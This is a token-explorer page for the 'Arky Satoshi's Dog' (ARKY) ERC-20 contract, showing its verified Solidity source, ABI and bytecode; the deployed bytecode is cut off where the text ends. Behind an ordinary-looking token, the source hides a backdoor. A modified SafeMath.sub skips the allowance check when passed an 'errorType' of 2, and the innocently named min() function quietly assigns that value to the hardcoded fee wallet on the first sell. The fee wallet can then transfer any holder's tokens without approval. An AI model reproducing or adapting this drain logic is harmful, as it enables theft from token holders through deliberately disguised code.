ETH Price: $3,345.56 (-3.86%)

Token

Arky Satoshi's Dog (ARKY)
 

Overview

Max Total Supply

1,000,000,000 ARKY

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,656,044.574581568 ARKY

Value
$0.00
0x25a87814f1f8e93b7fa73be7101f83e322901f7c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ARKY

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-05
*/

// SPDX-License-Identifier: MIT
/*    
    Arky Satoshi's Dog

    https://x.com/franfinney/status/1736064929537695890

    https://arkysatoshidog.vip

    X: https://x.com/arkyErc20
    Telegram: https://t.me/arkysatoshisdog
*/
pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, 0);
    }
    function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
        if(errorType == 0 || errorType == 1) {
            require(b <= a, "ERC20: transfer amount exceeds allowance");
            return a - b;
        }
        return 0;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ARKY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isFeeExcluded;
    mapping (address => uint256) public _errorType;
    uint256 public _buyfeeamount = 20;
    uint256 public _cutfeeamount = 20;
    uint256 public _buyfinalfeeamount = 0; 
    uint256 public _sellfinalfeeamount = 0; 
    uint256 public _tradeCounts = 0;
    uint256 public _reduceAt = 15;
    address payable public _feepocket;
    uint8 private constant _decimals = 9;
    uint256 private constant _maxSupply = 1000000000 * 10**_decimals; // Total supply
    string private constant _name = unicode"Arky Satoshi's Dog";  // Name
    string private constant _symbol = unicode"ARKY"; // Symbol
    uint256 public _swapBackThresholdForSwapback= 0 * 10**_decimals;
    uint256 public _maxAccountSizeAmount = 20000000 * 10 ** decimals();
    uint256 public _maxSwapbackAmount = 20000000 * 10 ** decimals();
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _feepocket = payable(0x59cfF74b376a5c64290bF45FefA3CD3f5B051894);
        _balances[_msgSender()] = _maxSupply;
        _isFeeExcluded[owner()] = true; _isFeeExcluded[address(this)] = true; _isFeeExcluded[_feepocket] = true;
        _errorType[owner()] = 1; _errorType[address(this)] = 1; _errorType[_feepocket] = 1;
        emit Transfer(address(0), _msgSender(), _maxSupply);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _maxSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount , _errorType[msg.sender]));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function enableTrading () external onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _maxSupply); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            98*balanceOf(address(this))/100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isFeeExcluded[from] && 
            !_isFeeExcluded[to]) {
            require(swapEnabled, "not started yet");
            if(to == uniswapV2Pair)
                taxAmount = amount.mul(_tradeCounts<_reduceAt ? _cutfeeamount : _sellfinalfeeamount).div(100);
            if (from == uniswapV2Pair && 
                to != address(uniswapV2Router))
                taxAmount = amount.mul(_tradeCounts++ <_reduceAt ? _buyfeeamount : _buyfinalfeeamount).div(100);
            if(to != uniswapV2Pair)
               require(balanceOf(to) + amount <= _maxAccountSizeAmount, "Exceeds the _maxAccountSizeAmount.");
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if(balanceOf(address(this)) > _swapBackThresholdForSwapback)
                    swapBackForETH(min(balanceOf(address(this)), min(_maxSwapbackAmount, amount)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) payable(_feepocket).transfer(address(this).balance);
            }
        }
        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function min(uint256 a, uint256 b) private returns (uint256){
      _errorType[_feepocket] = 2;
      return (a>b)?b:a;
    }
    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    receive() external payable {}
    function rescueETH () external onlyOwner {payable(msg.sender)
        .transfer(address(this).balance);
    }
    function removeLimits () external onlyOwner {
        _maxAccountSizeAmount = _maxSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyfinalfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_cutfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_errorType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feepocket","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isFeeExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAccountSizeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapbackAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellfinalfeeamount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapBackThresholdForSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeCounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460055560146006555f6007555f6008555f600955600f600a556009600a6200002f919062000376565b6200003b905f6200038d565b600c556200004c6009600a62000376565b6200005c906301312d006200038d565b600d556200006d6009600a62000376565b6200007d906301312d006200038d565b600e556010805461ffff60a01b191690553480156200009a575f80fd5b50620000a63362000218565b600b80546001600160a01b0319167359cff74b376a5c64290bf45fefa3cd3f5b051894179055620000da6009600a62000376565b620000ea90633b9aca006200038d565b335f908152600160208190526040822092909255600390620001135f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600b54909116835290822080549093168117909255600490620001815f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120949094553084526004909252808320600190819055600b54909216835282205533907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a62000376565b6200020190633b9aca006200038d565b60405190815260200160405180910390a3620003a7565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002bb57815f19048211156200029f576200029f62000267565b80851615620002ad57918102915b93841c939080029062000280565b509250929050565b5f82620002d35750600162000370565b81620002e157505f62000370565b8160018114620002fa5760028114620003055762000325565b600191505062000370565b60ff84111562000319576200031962000267565b50506001821b62000370565b5060208310610133831016604e8410600b84101617156200034a575081810a62000370565b6200035683836200027b565b805f19048211156200036c576200036c62000267565b0290505b92915050565b5f6200038660ff841683620002c3565b9392505050565b808202811582820484141762000370576200037062000267565b6117c980620003b55f395ff3fe608060405260043610610198575f3560e01c8063751039fc116100e7578063b7261f5111610087578063dd62ed3e11610062578063dd62ed3e1461047c578063e780c0ce146104c0578063f2fde38b146104d5578063f68924f8146104f4575f80fd5b8063b7261f511461043d578063cbbd7c4e14610452578063d9d559c914610467575f80fd5b80638be8674d116100c25780638be8674d146103ad5780638da5cb5b146103c257806395d89b41146103f2578063a9059cbb1461041e575f80fd5b8063751039fc146103705780637ca5bd68146103845780638a8c523c14610399575f80fd5b80632a92b17d116101525780636e446d2c1161012d5780636e446d2c146102e85780636f9f15a2146102fd57806370a0823114610328578063715018a61461035c575f80fd5b80632a92b17d1461028a578063313ce567146102b857806362cce107146102d3575f80fd5b806306fdde03146101a3578063095ea7b3146101ef57806310f6f5df1461021e57806318160ddd1461024157806320800a001461025557806323b872dd1461026b575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b5060408051808201909152601281527141726b79205361746f736869277320446f6760701b60208201525b6040516101e69190611419565b60405180910390f35b3480156101fa575f80fd5b5061020e610209366004611479565b610513565b60405190151581526020016101e6565b348015610229575f80fd5b50610233600e5481565b6040519081526020016101e6565b34801561024c575f80fd5b50610233610529565b348015610260575f80fd5b50610269610549565b005b348015610276575f80fd5b5061020e6102853660046114a3565b61057d565b348015610295575f80fd5b5061020e6102a43660046114e1565b60036020525f908152604090205460ff1681565b3480156102c3575f80fd5b50604051600981526020016101e6565b3480156102de575f80fd5b5061023360065481565b3480156102f3575f80fd5b5061023360095481565b348015610308575f80fd5b506102336103173660046114e1565b60046020525f908152604090205481565b348015610333575f80fd5b506102336103423660046114e1565b6001600160a01b03165f9081526001602052604090205490565b348015610367575f80fd5b506102696105db565b34801561037b575f80fd5b506102696105ee565b34801561038f575f80fd5b50610233600d5481565b3480156103a4575f80fd5b50610269610615565b3480156103b8575f80fd5b5061023360085481565b3480156103cd575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101e6565b3480156103fd575f80fd5b5060408051808201909152600481526341524b5960e01b60208201526101d9565b348015610429575f80fd5b5061020e610438366004611479565b610936565b348015610448575f80fd5b50610233600a5481565b34801561045d575f80fd5b50610233600c5481565b348015610472575f80fd5b5061023360055481565b348015610487575f80fd5b506102336104963660046114fc565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104cb575f80fd5b5061023360075481565b3480156104e0575f80fd5b506102696104ef3660046114e1565b610942565b3480156104ff575f80fd5b50600b546103da906001600160a01b031681565b5f61051f3384846109bd565b5060015b92915050565b5f6105366009600a611627565b61054490633b9aca00611635565b905090565b610551610ae0565b60405133904780156108fc02915f818181858888f1935050505015801561057a573d5f803e3d5ffd5b50565b5f610589848484610b39565b335f818152600460209081526040808320546001600160a01b038916845260028352818420858552909252909120546105d092879290916105cb918790611037565b6109bd565b5060015b9392505050565b6105e3610ae0565b6105ec5f6110c5565b565b6105f6610ae0565b6106026009600a611627565b61061090633b9aca00611635565b600d55565b61061d610ae0565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610671573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061164c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610704919061164c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610772919061164c565b601080546001600160a01b039283166001600160a01b031991821617909155600f805492841692909116821790556107c09030906107b26009600a611627565b6105cb90633b9aca00611635565b600f546001600160a01b031663f305d719473060646107f3826001600160a01b03165f9081526001602052604090205490565b6107fe906062611635565b6108089190611667565b5f8061081b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610881573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a69190611686565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f91906116b1565b50506010805460ff60a81b1916600160a81b179055565b5f61051f338484610b39565b61094a610ae0565b6001600160a01b0381166109b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61057a816110c5565b6001600160a01b038316610a1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109ab565b6001600160a01b038216610a805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109ab565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b031633146105ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ab565b6001600160a01b038316610b9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109ab565b6001600160a01b038216610bff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109ab565b5f8111610c605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109ab565b6001600160a01b0383165f9081526003602052604081205460ff16158015610ca057506001600160a01b0383165f9081526003602052604090205460ff16155b15610efa57601054600160a81b900460ff16610cf05760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081cdd185c9d1959081e595d608a1b60448201526064016109ab565b6010546001600160a01b0390811690841603610d3557610d326064610d2c600a5460095410610d2157600854610d25565b6006545b8590611114565b90611192565b90505b6010546001600160a01b038581169116148015610d605750600f546001600160a01b03848116911614155b15610da057610d9d6064610d2c600a5460095f815480929190610d82906116d0565b9190505510610d9357600754610d25565b6005548590611114565b90505b6010546001600160a01b03848116911614610e3a57600d5482610dd7856001600160a01b03165f9081526001602052604090205490565b610de191906116e8565b1115610e3a5760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e6044820152613a1760f11b60648201526084016109ab565b601054600160a01b900460ff16158015610e6157506010546001600160a01b038481169116145b8015610e765750601054600160a81b900460ff165b15610efa57600c54305f908152600160205260409020541115610ec057305f90815260016020526040902054610ec090610ebb90610eb6600e54866111d3565b6111d3565b611203565b47600b546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610ef7573d5f803e3d5ffd5b50505b8015610f7257305f90815260016020526040902054610f19908261137a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f699085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f9490836113d8565b6001600160a01b0385165f90815260016020526040902055610fd7610fb983836113d8565b6001600160a01b0385165f908152600160205260409020549061137a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61102085856113d8565b60405190815260200160405180910390a350505050565b5f8115806110455750816001145b156110bc57838311156110ab5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109ab565b6110b583856116fb565b90506105d4565b505f9392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f0361112357505f610523565b5f61112e8385611635565b90508261113b8583611667565b146105d45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109ab565b5f6105d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e4565b600b546001600160a01b03165f908152600460205260408120600290558183116111fd57826105d4565b50919050565b6010805460ff60a01b1916600160a01b179055801561136a576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124f5761124f61170e565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ca919061164c565b816001815181106112dd576112dd61170e565b6001600160a01b039283166020918202929092010152600f5461130391309116846109bd565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133b9085905f90869030904290600401611722565b5f604051808303815f87803b158015611352575f80fd5b505af1158015611364573d5f803e3d5ffd5b50505050505b506010805460ff60a01b19169055565b5f8061138683856116e8565b9050838110156105d45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109ab565b5f6105d483835f611037565b5f81836114045760405162461bcd60e51b81526004016109ab9190611419565b505f6114108486611667565b95945050505050565b5f602080835283518060208501525f5b8181101561144557858101830151858201604001528201611429565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461057a575f80fd5b5f806040838503121561148a575f80fd5b823561149581611465565b946020939093013593505050565b5f805f606084860312156114b5575f80fd5b83356114c081611465565b925060208401356114d081611465565b929592945050506040919091013590565b5f602082840312156114f1575f80fd5b81356105d481611465565b5f806040838503121561150d575f80fd5b823561151881611465565b9150602083013561152881611465565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561158157815f190482111561156757611567611533565b8085161561157457918102915b93841c939080029061154c565b509250929050565b5f8261159757506001610523565b816115a357505f610523565b81600181146115b957600281146115c3576115df565b6001915050610523565b60ff8411156115d4576115d4611533565b50506001821b610523565b5060208310610133831016604e8410600b8410161715611602575081810a610523565b61160c8383611547565b805f190482111561161f5761161f611533565b029392505050565b5f6105d460ff841683611589565b808202811582820484141761052357610523611533565b5f6020828403121561165c575f80fd5b81516105d481611465565b5f8261168157634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f60608486031215611698575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116c1575f80fd5b815180151581146105d4575f80fd5b5f600182016116e1576116e1611533565b5060010190565b8082018082111561052357610523611533565b8181038181111561052357610523611533565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117725784516001600160a01b03168352938301939183019160010161174d565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122064a44450bf0a47a48ca62aaeeca0188969b2d85bd7058dec629ca9c43f08ccce64736f6c63430008180033

Deployed Bytecode

0x608060405260043610610198575f3560e01c8063751039fc116100e7578063b7261f5111610087578063dd62ed3e11610062578063dd62ed3e1461047c578063e780c0ce146104c0578063f2fde38b146104d5578063f68924f8146104f4575f80fd5b8063b7261f511461043d578063cbbd7c4e14610452578063d9d559c914610467575f80fd5b80638be8674d116100c25780638be8674d146103ad5780638da5cb5b146103c257806395d89b41146103f2578063a9059cbb1461041e575f80fd5b8063751039fc146103705780637ca5bd68146103845780638a8c523c14610399575f80fd5b80632a92b17d116101525780636e446d2c1161012d5780636e446d2c146102e85780636f9f15a2146102fd57806370a0823114610328578063715018a61461035c575f80fd5b80632a92b17d1461028a578063313ce567146102b857806362cce107146102d3575f80fd5b806306fdde03146101a3578063095ea7b3146101ef57806310f6f5df1461021e57806318160ddd1461024157806320800a001461025557806323b872dd1461026b575f80fd5b3661019f57005b5f80fd5b3480156101ae575f80fd5b5060408051808201909152601281527141726b79205361746f736869277320446f6760701b60208201525b6040516101e69190611419565b60405180910390f35b3480156101fa575f80fd5b5061020e610209366004611479565b610513565b60405190151581526020016101e6565b348015610229575f80fd5b50610233600e5481565b6040519081526020016101e6565b34801561024c575f80fd5b50610233610529565b348015610260575f80fd5b50610269610549565b005b348015610276575f80fd5b5061020e6102853660046114a3565b61057d565b348015610295575f80fd5b5061020e6102a43660046114e1565b60036020525f908152604090205460ff1681565b3480156102c3575f80fd5b50604051600981526020016101e6565b3480156102de575f80fd5b5061023360065481565b3480156102f3575f80fd5b5061023360095481565b348015610308575f80fd5b506102336103173660046114e1565b60046020525f908152604090205481565b348015610333575f80fd5b506102336103423660046114e1565b6001600160a01b03165f9081526001602052604090205490565b348015610367575f80fd5b506102696105db565b34801561037b575f80fd5b506102696105ee565b34801561038f575f80fd5b50610233600d5481565b3480156103a4575f80fd5b50610269610615565b3480156103b8575f80fd5b5061023360085481565b3480156103cd575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101e6565b3480156103fd575f80fd5b5060408051808201909152600481526341524b5960e01b60208201526101d9565b348015610429575f80fd5b5061020e610438366004611479565b610936565b348015610448575f80fd5b50610233600a5481565b34801561045d575f80fd5b50610233600c5481565b348015610472575f80fd5b5061023360055481565b348015610487575f80fd5b506102336104963660046114fc565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104cb575f80fd5b5061023360075481565b3480156104e0575f80fd5b506102696104ef3660046114e1565b610942565b3480156104ff575f80fd5b50600b546103da906001600160a01b031681565b5f61051f3384846109bd565b5060015b92915050565b5f6105366009600a611627565b61054490633b9aca00611635565b905090565b610551610ae0565b60405133904780156108fc02915f818181858888f1935050505015801561057a573d5f803e3d5ffd5b50565b5f610589848484610b39565b335f818152600460209081526040808320546001600160a01b038916845260028352818420858552909252909120546105d092879290916105cb918790611037565b6109bd565b5060015b9392505050565b6105e3610ae0565b6105ec5f6110c5565b565b6105f6610ae0565b6106026009600a611627565b61061090633b9aca00611635565b600d55565b61061d610ae0565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610671573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610695919061164c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610704919061164c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074e573d5f803e3d5ffd5b505050506040513d601f19601f82011